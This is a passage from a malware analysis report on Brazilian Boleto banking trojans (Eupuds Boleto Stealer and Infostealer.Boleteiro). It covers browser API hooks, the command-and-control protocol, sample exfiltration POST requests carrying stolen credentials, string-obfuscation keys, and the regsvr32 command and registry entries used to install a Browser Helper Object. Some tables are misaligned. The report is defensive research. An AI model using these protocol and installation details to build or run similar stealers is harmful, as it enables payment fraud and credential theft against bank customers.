<td>%UserProfile%\Application Data[RANDOM FOLDER NAME][RANDOM FILE NAME].exe</td>
</tr>
</tbody>
</table>

Note: [RANDOM FILE NAME] and [RANDOM FOLDER NAME] are generated using the random string generation algorithm.
The Boleto Stealer copies the Eupuds AutoIt Loader to the location in Table 15.

<table>
<thead>
<tr>
<th>Action</th>
<th>Path</th>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>%UserProfile%\Application Data[RANDOM FOLDER NAME]</td>
<td>[RANDOM FILE NAME].exe</td>
</tr>
</tbody>
</table>

The following files may be created to determine if the Boleto Stealer has write access (Table 16). These files are 0 bytes in size.

<table>
<thead>
<tr>
<th>Action</th>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>%UserProfile%\Application Data\97524eb3</td>
</tr>
<tr>
<td>Create</td>
<td>%UserProfile%\Application Data\e637799e</td>
</tr>
</tbody>
</table>

Processes

Before the Boleto Stealer starts execution in the browser, it first determines which browser it is injected into in order to hook the appropriate APIs to enable the man-in-the-middle (MITM) functionality.

The Boleto Stealer may also hook the following DLL:

- chrome.dll

This is injected into Google Chrome to monitor incoming and outgoing traffic.

The Boleto Stealer hooks the following API:

- InternetQueryDataAvailable

This ensures that valid network communications are available before the Boleto Stealer installs the additional hooks.

Command-and-control

The Boleto Stealer contacts the control server to perform the following actions:

1. Send basic system information
2. Send and receive Boleto-related information used to generate fraudulent Boletos
3. Send stolen login credential information

The Boleto Stealer uses HTTP POST requests over port 80 to communicate with the C&C server. This POST request data and the response data from the server is encrypted with XOR and Base64 encoded using a custom alphabet.

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Control server</th>
<th>URI</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>index.php</td>
<td>Send exfiltrated data to attackers</td>
</tr>
</tbody>
</table>

Table 15. Location that Eupuds AutoIt Loader is copied to by Boleto Stealer

<table>
<thead>
<tr>
<th>Action</th>
<th>Path</th>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>%UserProfile%\Application Data[RANDOM FOLDER NAME]</td>
<td>[RANDOM FILE NAME].exe</td>
</tr>
</tbody>
</table>

Table 16. Files created to determine if Eupuds Boleto Stealer component has write access

<table>
<thead>
<tr>
<th>Action</th>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>%UserProfile%\Application Data\97524eb3</td>
</tr>
<tr>
<td>Create</td>
<td>%UserProfile%\Application Data\e637799e</td>
</tr>
</tbody>
</table>

Table 17. Processes hooked by Eupuds Boleto Stealer component

<table>
<thead>
<tr>
<th>Browser</th>
<th>API</th>
<th>.dll</th>
</tr>
</thead>
<tbody>
<tr>
<td>Firefox</td>
<td>PR_OpenTCPSocket</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>Firefox</td>
<td>PR_OpenTCPSocket</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>Firefox</td>
<td>PR_Read</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>Firefox</td>
<td>PR_Read</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>Firefox</td>
<td>PR_Write</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>Firefox</td>
<td>PR_Write</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>Firefox</td>
<td>PR_Close</td>
<td>nspr4.dll</td>
</tr>
<tr>
<td>Firefox</td>
<td>PR_Close</td>
<td>nss3.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>InternetQueryDataAvailable</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>HttpOpenRequestW</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>HttpSendRequestA</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>HttpSendRequestW</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>InternetReadFile</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>InternetReadFileExA</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>InternetCloseHandle</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>InternetWriteFile</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>HttpSendRequestExW</td>
<td>wininet.dll</td>
</tr>
<tr>
<td>Chrome</td>
<td>WSASocketW</td>
<td>ws2_32.dll</td>
</tr>
<tr>
<td>Chrome</td>
<td>WSASend</td>
<td>ws2_32.dll</td>
</tr>
<tr>
<td>Chrome</td>
<td>WSARecv</td>
<td>ws2_32.dll</td>
</tr>
<tr>
<td>Chrome</td>
<td>closesocket</td>
<td>ws2_32.dll</td>
</tr>
<tr>
<td>Chrome</td>
<td>WSAGetOverlappedResult</td>
<td>ws2_32.dll</td>
</tr>
<tr>
<td>Chrome</td>
<td>recv</td>
<td>ws2_32.dll</td>
</tr>
</tbody>
</table>

Table 18. Eupuds Boleto Stealer C&C communications protocol

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Control server</th>
<th>URI</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>index.php</td>
<td>Send exfiltrated data to attackers</td>
</tr>
</tbody>
</table>

Table 19. Eupuds C&C servers

<table>
<thead>
<tr>
<th>Domain</th>
<th>Registrar</th>
<th>Registrant name</th>
<th>Registrant email</th>
<th>Creation date</th>
<th>IP address</th>
<th>ASN</th>
<th>Region</th>
</tr>
</thead>
<tbody>
<tr>
<td>216.246.30.4</td>
<td>Server Central Network</td>
<td>HostForWeb Inc</td>
<td><a href="mailto:support@servercentral.com">support@servercentral.com</a></td>
<td>2006-09-07</td>
<td>216.246.30.4</td>
<td>AS23352</td>
<td>US</td>
</tr>
<tr>
<td>216.246.30.5</td>
<td>Server Central Network</td>
<td>HostForWeb Inc</td>
<td><a href="mailto:support@servercentral.com">support@servercentral.com</a></td>
<td>2006-09-07</td>
<td>216.246.30.5</td>
<td>AS23352</td>
<td>US</td>
</tr>
</tbody>
</table>
The POST request will contain padding created by the random string generation algorithm, which is present at the beginning and end of the POST data.

The Boleto Stealer will ignore outgoing traffic that contains the following strings in a URL:

- .gif
- .jpg
- .jpeg
- .png
- .swf
- .flv
- .bmp
- facebook.com

/\index.php

The Boleto Stealer used the following POST request to upload Boleto-related information or stolen credentials to the control server:

    POST /index.php HTTP/1.0
    Host: 216.246.30.4
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 476
    fb7=kKj630Ku6eDqg4fRp6nJzDyiJj7ucjBplqXfm...

Before encryption, the POST request data may consist of multiple tags with the following format:

- \<tagname\>[DATA]\</tagname\>

In the case of Boleto data exfiltration, the following response may be expected from the server, which can be used to replace the original Boleto information:

- \<tagname\>[DATA]\</tagname\>

**Boleto generated online**

**Bank code exfiltration**

The Boleto Stealer will make the following POST request when uploading bank code-related Boleto information to the control server:

37653ccb
<version>17</version>
<browser>Firefox 3.5.7</browser>
<userid>3</userid>
<ostype>Windows XP Service Pack 2 32-bits</ostype>
<bignumbola>001-4</bignumbola>
<final></final>

UsfC4Neb91

Table 20 contains a description of the tags in the POST request.

<table>
<thead>
<tr>
<th>Tag</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL</td>
<td>Trigger URL</td>
</tr>
<tr>
<td>Version</td>
<td>Eupuds version</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser application</td>
</tr>
<tr>
<td>UserID</td>
<td>Eupuds userID</td>
</tr>
<tr>
<td>OType</td>
<td>Operating system</td>
</tr>
<tr>
<td>Bignumbola</td>
<td>Bank code</td>
</tr>
<tr>
<td>Final</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

Table 21. Tags used in POST response from Eupuds C&C server

<table>
<thead>
<tr>
<th>Tag</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Getbol</td>
<td>Unknown</td>
</tr>
<tr>
<td>Bignumbola</td>
<td>Updated bank code</td>
</tr>
<tr>
<td>Vars</td>
<td>Unknown</td>
</tr>
<tr>
<td>Ced</td>
<td>Fraudulent account number generated by the server</td>
</tr>
</tbody>
</table>

The padding in the POST request is generated using the random string generation algorithm.

The control server will respond with the following information:

371832445
<getbol></getbol>
<bignumbola>399-9</bignumbola>
<vars></vars>
<ced>80704624</ced>
Boleto number exfiltration

The Boleto Stealer will POST the following data to the control server when exfiltrating the Boleto number:

```
4bdb6f9a
<long>17</long>
<browser>Firefox 3.6.18</browser>
<userid>3</userid>
<ostype>Windows XP Service Pack 3 32-bits</ostype>
<bolahtml>23790.09505 90000.000001 01023.190000 3 26420010000000</bolahtml>
<final></final>
```

The random padding is generated using the random string generation algorithm.

The control server will respond with the following information, which is used to modify the Boleto:

```
585873735
<bol>39994.10875 52693.139314 80110.000025 4 26420010000000</bol>
<bignumbola>326420010000000</bignumbola>
<vars>23790095059000000000101023190000326420010000000</vars>
<ced>69199651</ced>
```

Table 23 contains a description of the tags in the POST response.

Manually inputting the Boleto

The Boleto Stealer will POST the following information to the control server when the =XXXX pattern is matched in the POST data:

```
[RANDOM _ NUMBER]
<url> [...] </url>
<version> [...] </version>
<browser> [...] </browser>
<userid> [...] </userid>
<ostype> [...] </ostype>
<bol> [...] </bol>
<bignumbola> [...] </bignumbola>
<step> [...] </step>
<vars> [...] </vars>
<final> [...] </final>
```

The random padding is generated using the random string generation algorithm:

- length 1->14
- characters 0-9, a-z, A-Z

The control server responds with the following information:

- <tagname>[DATA]</tagname>

---

**Table 22. Tags used in POST request by Eupuds in communicating with C&C server**

<table>
<thead>
<tr>
<th>Tag</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL</td>
<td>Trigger URL</td>
</tr>
<tr>
<td>Version</td>
<td>Eupuds version</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser</td>
</tr>
<tr>
<td>UserID</td>
<td>Eupuds userID</td>
</tr>
<tr>
<td>OStype</td>
<td>Operating system</td>
</tr>
<tr>
<td>Bolahtml</td>
<td>Boleto number</td>
</tr>
<tr>
<td>Final</td>
<td>Unknown</td>
</tr>
</tbody>
</table>

**Table 23. Tags used in POST response from Eupuds C&C server**

<table>
<thead>
<tr>
<th>Tag</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bolahtml</td>
<td>New Boleto ID number</td>
</tr>
<tr>
<td>Getbol</td>
<td>Blank – also used in URL Pattern Match</td>
</tr>
<tr>
<td>Bignumbola</td>
<td>Blank – also used in bank code exfiltration requests for new bank code</td>
</tr>
<tr>
<td>UserID</td>
<td>Eupuds userID</td>
</tr>
<tr>
<td>Vars</td>
<td>Original Boleto number</td>
</tr>
<tr>
<td>Ced</td>
<td>Fraudulent number generated</td>
</tr>
</tbody>
</table>

**Table 24. Tags used in POST request by Eupuds in communicating with C&C server**

<table>
<thead>
<tr>
<th>Tag</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL</td>
<td>Trigger URL</td>
</tr>
<tr>
<td>Version</td>
<td>Eupuds version</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser</td>
</tr>
<tr>
<td>UserID</td>
<td>Eupuds userID</td>
</tr>
<tr>
<td>OStype</td>
<td>Operating system</td>
</tr>
<tr>
<td>Bol</td>
<td>Boleto related information</td>
</tr>
<tr>
<td>Bsides</td>
<td>Unknown</td>
</tr>
<tr>
<td>Step</td>
<td>Unknown</td>
</tr>
<tr>
<td>Vars</td>
<td>Unknown</td>
</tr>
<tr>
<td>Final</td>
<td>Unknown</td>
</tr>
</tbody>
</table>
The following tag elements may exist in the response:

- bol
- ced
- step
- vars
- taghtml
- fechataghtml
- tagbola
- taghtmlced
- fechataghtmlced
- taghtml1
- fechataghtml1
- tagbola1
- taghtml2
- fechataghtml2
- tagbola2
- taghtml3
- fechataghtml3
- tagbola3
- taghtml4
- fechataghtml4
- tagbola4
- taghtml5
- fechataghtml5
- tagbola5
- taghtml6
- fechataghtml6
- tagbola6
- taghtml7
- fechataghtml7
- tagbola7
- taghtml8
- fechataghtml8
- tagbola8
- taghtml9
- fechataghtml9
- tagbola9

The information in the bol tag is used to replace the original values found in the original POST request.

The Boleto Stealer will also intercept URLs containing the following patterns:

- &config={
- ader&cod

The Boleto Stealer will make a POST request containing the following information to the control server:

```
[RANDOM _ NUMBER]
[url][...]</url>
<version>[...]</version>
<browser>[...]</browser>
<userid>[...]/userid>
<ostype>[...]/ostype>
<getbol>[...]/getbol>
<step>[...]/step>
<vars>[...]/vars>
<final>[...]/final>
[RANDOM _ STRING]
```

Table 25. Tags used in POST request by Eupuds when communicating with C&C server

<table>
<thead>
<tr>
<th>Tag</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>URL</td>
<td>Trigger URL</td>
</tr>
<tr>
<td>Version</td>
<td>Eupuds version</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser</td>
</tr>
<tr>
<td>UserID</td>
<td>Eupuds userID</td>
</tr>
<tr>
<td>OS</td>
<td>Operating system</td>
</tr>
<tr>
<td>Getbol</td>
<td>Boleto-related data</td>
</tr>
<tr>
<td>Step</td>
<td>Unknown</td>
</tr>
<tr>
<td>Vars</td>
<td>Unknown</td>
</tr>
<tr>
<td>Final</td>
<td>Unknown</td>
</tr>
</tbody>
</table>
The random padding is generated using the random string generation algorithm:

- length 1-14
- characters 0-9, a-z, A-Z

The control server will respond with the following information:

- `<tagname>[DATA]</tagname>`

The tag name elements are expected to be one of the following:

- `getbol`
- `ced`
- `taghtml`
- `fechataghtml`
- `tagbola`
- `taghtmlced`
- `fechataghtmlced`
- `taghtml1`
- `fechataghtml1`
- `tagbola1`
- `taghtml2`
- `fechataghtml2`
- `tagbola2`
- `taghtml3`
- `fechataghtml3`
- `tagbola3`
- `taghtml4`
- `fechataghtml4`
- `tagbola4`
- `taghtml5`
- `fechataghtml5`
- `tagbola5`
- `taghtml6`
- `fechataghtml6`
- `tagbola6`
- `taghtml7`
- `fechataghtml7`
- `tagbola7`
- `taghtml8`
- `fechataghtml8`
- `tagbola8`
- `taghtml9`
- `fechataghtml9`
- `tagbola9`

The information inside the `getbol` tag will replace the original value in the browser.

**Microsoft Live**

The following POST data (before encryption) is sent to the control server when exfiltrating data from Microsoft Live:

```xml
o7ww9l4b5P
<userid>3</userid>
<url>http://login.live.com/ppsecure/post.srf?lc=1033&bk=1409137114&uid=56a9fe53a80547689a46b35337c8533</url>
<version>17</version>
<hot>user%40website.com;password</hot>
o7ww9l4b5P
```

The random padding is generated using the random string generation algorithm:

- length 1-10
- characters 0-9, a-z, A-Z

---

<table>
<thead>
<tr>
<th>Tag</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>UserID</td>
<td>Eupuds userID</td>
</tr>
<tr>
<td>URL</td>
<td>Trigger URL</td>
</tr>
<tr>
<td>Version</td>
<td>Eupuds version</td>
</tr>
<tr>
<td>Hot</td>
<td>username;password</td>
</tr>
</tbody>
</table>
**Internet Explorer Launcher**

The Internet Explorer Launcher is a 32-bit DLL contained in the Eupuds Loader.

**Functionality**

The purpose of the Internet Explorer Launcher is to locate the path of iexplore.exe and execute it.

**Installation**

The Internet Explorer Launcher reads the following registry key value to find the path to iexplore.exe:

- SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE

The Internet Explorer Launcher executes iexplore.exe from the location found in the registry.

**Infostealer.Boleteiro**

On July 10, 2014, Trusteer published a blog that revealed details about a new Boleto malware called Infostealer.Boleteiro (IBM Trusteer refers to this malware as Coleto). Infostealer.Boleteiro adds a browser extension to Chrome, a BHO component for Internet Explorer and more recently an add-on for the Maxthon browser. Infostealer.Boleteiro can scan web pages for Boleto numbers, replacing these numbers with attacker-supplied values in order to redirect the Boleto payment to a fraudulent account.

**Identification**

**Table 29. Vendor aliases for Boleteiro**

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Aliases</th>
</tr>
</thead>
<tbody>
<tr>
<td>Symantec</td>
<td>Infostealer.Boleteiro</td>
</tr>
</tbody>
</table>

**Table 30. List of Boleteiro artifacts**

<table>
<thead>
<tr>
<th>PE timestamp</th>
<th>MD5</th>
<th>Size (bytes)</th>
<th>File name</th>
</tr>
</thead>
<tbody>
<tr>
<td>30/04/13 10:07:00</td>
<td>682dd13091d5d7a778781d23fad45d04</td>
<td>223158</td>
<td>100_1X_PMO__Adobe.exe</td>
</tr>
<tr>
<td>16/01/14 19:47:27</td>
<td>085b407e367787908f89f9efa556db7</td>
<td>21504</td>
<td>AdobePro.jpg</td>
</tr>
<tr>
<td>N/A</td>
<td>2c504aac3f95e43743f1237f98317330</td>
<td>13773</td>
<td>Manifest.js</td>
</tr>
<tr>
<td>N/A</td>
<td>e702272f49071a474d6304f32e5c6a7</td>
<td>358</td>
<td>manifest.json</td>
</tr>
<tr>
<td>N/A</td>
<td>d60310ca91e8aa9bbd09628a05a1c3b6</td>
<td>2794</td>
<td>icon.png</td>
</tr>
<tr>
<td>19/06/1992 23:22:17</td>
<td>1c74c1daf9640de273819b5c32f3baf</td>
<td>415232</td>
<td>Boleto16092014.exe</td>
</tr>
<tr>
<td>N/A</td>
<td>707deb29796ab0339d9745f8e6f3a3</td>
<td>3913</td>
<td>Manifest.js</td>
</tr>
<tr>
<td>N/A</td>
<td>e702272f49071a474d6304f32e5c6a7</td>
<td>358</td>
<td>manifest.json</td>
</tr>
<tr>
<td>N/A</td>
<td>d60310ca91e8aa9bbd09628a05a1c3b6</td>
<td>2794</td>
<td>icon.png</td>
</tr>
<tr>
<td>19/06/1992 23:22:17</td>
<td>507ec652ab9462e178ec4c444520d424</td>
<td>183296</td>
<td>100_4X_AZ_PA2__SexDesejo.exe</td>
</tr>
<tr>
<td>07/01/2014 10:38:14</td>
<td>41de26721494073107083069c27893c</td>
<td>21504</td>
<td>AdobePro.jpg</td>
</tr>
<tr>
<td>26/10/2014 00:25:01</td>
<td>0d9e59e6c497b1b3be3313318697330</td>
<td>168448</td>
<td>SongDownloadBrasil.exe</td>
</tr>
<tr>
<td>N/A</td>
<td>b65045764439540b521f717ac56652</td>
<td>517674</td>
<td>1361840469.mxaddon</td>
</tr>
<tr>
<td>N/A</td>
<td>38d5efbecc7a6f94d4b81d83dd0c260a</td>
<td>11783</td>
<td>log.js</td>
</tr>
</tbody>
</table>
Exploit usage

Infostealer.Boleteiro has not been observed using any exploits.

Anti-analysis

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anti-debug</td>
<td>NO</td>
</tr>
<tr>
<td>Anti-emulation</td>
<td>NO</td>
</tr>
<tr>
<td>Anti-VM</td>
<td>NO</td>
</tr>
<tr>
<td>Packing and compression</td>
<td>YES</td>
</tr>
<tr>
<td>Obfuscation</td>
<td>YES</td>
</tr>
<tr>
<td>Host-based encryption</td>
<td>YES</td>
</tr>
<tr>
<td>Network-based encryption</td>
<td>NO</td>
</tr>
<tr>
<td>Server-side tricks</td>
<td>NO</td>
</tr>
</tbody>
</table>

Packing and compression

Infostealer.Boleteiro has been observed using WinRAR SFX and UPX for packing and compression (Table 32).

Obfuscation

Infostealer.Boleteiro has been observed using BYTE XOR encryption, string reversing, and ROT13 to obfuscate embedded strings (Table 33).

Encryption

This section details the encryption and encoding schemes used by Infostealer.Boleteiro:

Host-based

The Infostealer.Boleteiro components in Table 34 used encryption.

The Google Chrome Extension contains ROT13 encoded strings

The BHO uses BYTE XOR encryption to obfuscate strings within the DLL.

The key used by the BHO is derived from the following string:
- FileZilla
- Each character in the strings is represented as a decimal number:
  - F -> 70
  - i -> 105
- These values are then concatenated together:
  - 701051081019010510810897
Each character is then represented in ASCII:

- 7 -> 0x37
- 0 -> 0x30

The key produced by these results is:

- 0x37 0x30 0x31 0x30 0x33 0x31 0x30 0x38 0x31 0x30 0x31 0x39 0x30 0x35 0x31 0x30 0x38 0x30 0x33 0x31 0x39 0x37

The following is an example of the encrypted and decrypted strings after BYTE XOR encryption with the key:

- Encrypted String: 585E61425C5F44
- Decrypted String: onPrint

Note: Some strings may also use a reverse function after decryption.

Network-based

Infostealer.Boleteiro does not encrypt network traffic.

**Boleteiro Dropper A**

Boleteiro Dropper A creates a Google Chrome extension and a BHO, however it does not install these components.

### Installation

When Boleteiro Dropper A executes, the following files (Table 36) are created on the file system.

<table>
<thead>
<tr>
<th>File Path</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\Manifest.js</td>
<td>Boleto Interceptor (Google Chrome Extension)</td>
</tr>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\AdobePro.jpg</td>
<td>Boleto Interceptor (Browser Helper Object)</td>
</tr>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\manifest.json</td>
<td>Manifest file (Google Chrome extension)</td>
</tr>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\icon.png</td>
<td>Image (Google Chrome extension)</td>
</tr>
</tbody>
</table>

### Table 35. Boleteiro Dropper A component characteristics

<table>
<thead>
<tr>
<th>File name</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>100_1X_PM0_Adobe.exe</td>
<td>682dd13091d5d7a778781d23fad45d04</td>
</tr>
<tr>
<td>MD5</td>
<td></td>
</tr>
<tr>
<td>SHA-1</td>
<td>d9373ca842bd3b9723a2ab1b22192cd5fcbc13c</td>
</tr>
<tr>
<td>SHA-256</td>
<td>67b2df088b67e6b4d8fa6f492d03be29b1e1918b3e581e8b102c29f31f88</td>
</tr>
<tr>
<td>Size (bytes)</td>
<td>223158</td>
</tr>
<tr>
<td>Purpose</td>
<td>Drops Google Chrome extension and BHO</td>
</tr>
</tbody>
</table>

**Boleteiro Dropper B**

Boleteiro Dropper B installs a Google Chrome extension.

The installation occurs when the victim closes the blank window form that is displayed when Boleteiro Dropper B is executed (Figure 4).

Note: The dropped files exist in the .rsrcc section and are unencrypted.
Analysis of malware targeting the Boleto payment system

Installation

Boleteiro Dropper B creates the following folder on the file system (Table 38):

Table 38. Directories created when Boleteiro Dropper B component executes

<table>
<thead>
<tr>
<th>Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\</td>
</tr>
</tbody>
</table>

Boleteiro Dropper B modifies the Google Chrome browser shortcut link in order to load the Boleto Interceptor (Google Chrome extension) when the browser is launched.

The following configuration data is appended to the target field in Google Chrome Browser shortcut link:

- --load-extensions%UserProfile%\Application Data\Microsoft\Google\%

Boleteiro Dropper C installs a BHO responsible for Boleto interception. Boleteiro Dropper C and the BHO are UPX packed. The Browser Helper Object is located in the .rsrc section.

Table 39. Files created when Boleteiro Dropper B component executes

<table>
<thead>
<tr>
<th>File</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\Manifest.js</td>
<td>Boleto Interceptor (Google Chrome extension)</td>
</tr>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\manifest.json</td>
<td>Manifest file (Google Chrome extension)</td>
</tr>
<tr>
<td>%UserProfile%\Application Data\Microsoft\Google\icon.png</td>
<td>Image (Google Chrome extension)</td>
</tr>
</tbody>
</table>

Table 40. Boleteiro Dropper C component characteristics

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>SHA-256</th>
<th>Size (bytes)</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>100_4X_AZ_PA2__SexDesejo.ex_</td>
<td>507ec652ab9462e178ec4c444520d424</td>
<td>23cfa457e076f5fb705b5969a8c8e90d12bfc4cb</td>
<td>ca62226b4172f0da20a45f36388a1c22c809e51824</td>
<td>183296</td>
<td>Drops BHO</td>
</tr>
</tbody>
</table>
When Boleteiro Dropper C executes, the following message is displayed:

- The current operation cannot be completed because an unexpected error has occurred

**Installation**

Boleteiro Dropper C creates the BHO and registers it so that it loads when Internet Explorer is launched.

Boleteiro Dropper C registers the Browser Helper Object by executing the following command:

- “%SystemDrive%\WINDOWS\system32\regsvr32.exe /s %UserProfile%\Application Data\AdobePro.jpg”

Boleteiro Dropper C adds registry entries to load the BHO with Internet Explorer using the reg.exe tool. regsvr32.exe registers the sample and reg.exe sets the sample as a BHO. regsvr32.exe creates the following entries:

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>HKEY_CLASSES_ROOT\Adobe.Pro</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_CLASSES_ROOT\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_CLASSES_ROOT\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\Implemented Categories</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_CLASSES_ROOT\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\InprocServer32\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_CLASSES_ROOT\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336}\InprocServer32\ThreadingModel</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_CLASSES_ROOT\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|ProgID\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_CLASSES_ROOT\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|TypeLib\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_CLASSES_ROOT\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|VERSION\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Adobe.Pro</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Adobe.Pro\Clsid\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|InprocServer32\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|InprocServer32\ThreadingModel</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|ProgID\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|TypeLib\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|VERSION\Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Adobe.Pro\CLSID\5B4720E5-4C2D-4067-98FF-0AFEBB182336</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects{5B4720E5-4C2D-4067-98FF-0AFEBB182336|Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
<tr>
<td>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID{5B4720E5-4C2D-4067-98FF-0AFEBB182336|Default</td>
<td>REG_SZ</td>
<td>Adobe.Pro</td>
</tr>
</tbody>
</table>

**Table 41. Registry entries added by Boleteiro Dropper C component**

**Table 42. Registry entries created by reg.exe**
Boleteiro Dropper C creates the following file (Table 43) which becomes the BHO.

**Google Chrome Extension A**

Google Chrome Extension A is written in JavaScript and is capable of manipulating Boletos and stealing online banking credentials. Some strings within the Google Chrome extension are encoded using the ROT13 algorithm.

### Functionality

The Google Chrome extension is loaded when Google Chrome is launched.

The main purpose of the Google Chrome extension is to manipulate Boletos and steal login credentials from email and online banking websites.

#### Manipulating Boleto numbers

The Google Chrome extension is capable of intercepting and replacing legitimate Boleto numbers with attacker-supplied values on web pages containing the following keywords:

- **LOCAL DE PAGAMENTO**
- **VENCIMENTO**
- **PAGADOR**
- **SACADO**

The Google Chrome extension will search for a pattern that matches a Boleto number, for example:

- 03399.65295 62300.00007 00044.201028 0 00000000000000

If a Boleto number is found, it is sent to the control server along with the following information:

- Expiration date
- Amount
- Payer
- Intended recipient
- Trigger URL

The control server responds with a Boleto number supplied by the attacker to replace the legitimate one. The attacker-supplied number is then displayed to the victim in their browser.

The Google Chrome extension will ignore the following URL when processing Boletos:


#### Stealing credentials

The Google Chrome extension can steal login credentials from the following web services:

- [BANK NAME A]
- [BANK NAME B]
- Microsoft Live

